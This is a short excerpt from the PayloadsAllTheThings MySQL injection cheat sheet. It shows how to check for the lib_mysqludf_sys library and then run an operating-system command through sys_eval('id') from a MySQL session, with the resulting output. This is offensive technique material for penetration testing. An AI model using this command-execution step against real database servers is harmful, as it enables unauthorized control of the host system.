First you need to check if the UDF are installed on the server.
$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.soThen you can use functions such as `sys_exec` and `sys_eval`.
$ mysql -u root -p mysql
Enter password: [...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.